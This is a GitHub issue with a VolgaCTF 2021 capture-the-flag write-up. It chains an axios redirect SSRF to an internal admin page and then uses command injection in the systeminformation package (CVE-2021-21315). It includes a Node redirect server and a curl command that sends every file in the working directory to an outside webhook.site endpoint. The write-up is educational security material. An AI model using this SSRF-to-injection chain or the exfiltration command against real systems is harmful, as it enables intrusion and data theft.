Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

VolgaCTF 2021 Qualifier - Unicorn Networks #29

Open
aszx87410 opened this issue Mar 28, 2021 · 2 comments
Open

VolgaCTF 2021 Qualifier - Unicorn Networks #29

aszx87410 opened this issue Mar 28, 2021 · 2 comments
Labels

Comments

@aszx87410
Copy link
Owner

Unicorn Networks

Description

Protection of the admin section needs to be more robust...

Writeup

There is an api to fetch other url: http://192.46.237.106:3000/api/getUrl?url=http://example.com, I tried with some random ip and this one result in error: http://192.46.237.106:3000/api/getUrl?url=http://127.0.0.1

{
    "status": "error",
    "content": {
        "message": "Request failed with status code 503",
        "name": "Error",
        "config": {
            "url": "http:/127.0.0.1",
            "method": "get",
            "headers": {
                "Accept": "application/json, text/plain, */*",
                "User-Agent": "axios/0.21.0",
                "host": "null"
            },
            "proxy": {
                "host": "proxy.corp.local",
                "port": 3128
            },
            "transformRequest": [
                null
            ],
            "transformResponse": [
                null
            ],
            "timeout": 0,
            "xsrfCookieName": "XSRF-TOKEN",
            "xsrfHeaderName": "X-XSRF-TOKEN",
            "maxContentLength": -1,
            "maxBodyLength": -1
        }
    }
}

Then I tried to send request to proxy.corp.local but found nothing, stuck here for a while. A few moments later, I noticed the package name and the version in the response so I tired to google axios 0.21.0 vuln.

Look what I found: Requests that follow a redirect are not passing via the proxy #3369

There is a SSRF vuln in this version so I created a simple proxy server:

const http = require('http')

http.createServer(function (req, res) { 
  res.writeHead(302, {location: 'http://127.0.0.1'})
  res.end()
}).listen(5566)

I tried few ip and domain but found nothing, stuck again. Later on, I went back and checked the chall description again: Protection of the admin section needs to be more robust....

So I tried: http://127.0.0.1/admin and to my surprise, I got access to admin page:

<html>
  <head>
    <title>System information</title>
  </head>
  <body>
    <h2>Get OS Information</h2>
    <button onclick="retrieveOSInfo();false;">Retrieve</button>

    <h2>Get service info</h2>
    <input type="text" id="serviceName" value="nginx">
    <button onclick="retrieveServiceInfo();false;">Retrieve</button>

    <h2>Output</h2>
    <textarea id="output"></textarea>
  </body>
  <script>
    function retrieveOSInfo() {
      fetch('/api/admin/os_info')
        .then(response => {
                    if (response.status == 200) {
                        return response.json();
                    }
                    throw Error('Server is unavailable');
                },
                failResponse => {
                    printOutput('Server is unavailable');
                })
                .then(result => {
                    printApiResult(result);
                },
                errorMsg => {
                    printOutput(errorMsg);
                });
    }

    function retrieveServiceInfo() {
      fetch('/api/admin/service_info?name=' + encodeURIComponent(serviceName.value))
        .then(response => {
                    if (response.status == 200) {
                        return response.json();
                    }
                    throw Error('Server is unavailable');
                },
                failResponse => {
                    printOutput('Server is unavailable');
                })
                .then(result => {
                    printApiResult(result[0]);
                },
                errorMsg => {
                    printOutput(errorMsg);
                });
    }

    function printApiResult(jsonObject) {
      result = '';
      for (const [key, value] of Object.entries(jsonObject)) {
        result += `${key}: ${value}\n`;
      }
      printOutput(result);
    }

    function printOutput(content) {
      output.value = content;
    }
  </script>
</html>

There are two hidden api endpoints, I tried both and here is the response for the service one:

{"status":"ok","content":[{"name":"nginx" ,"running":false,"startmode":"","pids":[],"pcpu":0,"pmem":0}]}

I googled the keyword: running":true,"startmode":"","pids" and realized that it's from a package called systeminformation

Let's do another round of search, systeminformation vulnerability. I found these two links:

  1. https://snyk.io/vuln/SNYK-JS-SYSTEMINFORMATION-1074913
  2. https://github.com/ForbiddenProgrammer/CVE-2021-21315-PoC

The POC is quite useful, we can do command injection via name[]=$(ls)

But I don't know how to do reverse shell so I use another way, maybe stupid but works: https://stackoverflow.com/questions/15912924/how-to-send-file-contents-as-body-entity-using-curl

curl -d "$(cat ./*)"  https://webhook.site/f77fba3b-a14a-4fad-a39e-2f439861882a
const http = require('http')

http.createServer(function (req, res) { 
  let send = 'curl -d "$(cat ./*)"  https://webhook.site'
  res.writeHead(302, {location: 'http://127.0.0.1/api/admin/service_info?name[]='+encodeURIComponent("$(" + send + ")")})
  res.end()
}).listen(5566)

Got the flag in the end.

@PeGrina
Copy link

PeGrina commented Mar 29, 2021

Oh, I found this vulnerbility, but don't understand how to use. = (

@aszx87410
Copy link
Owner Author

aszx87410 commented Mar 29, 2021

Next time you can try to find the POC for the vulnerbility, it's quite helpful!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

2 participants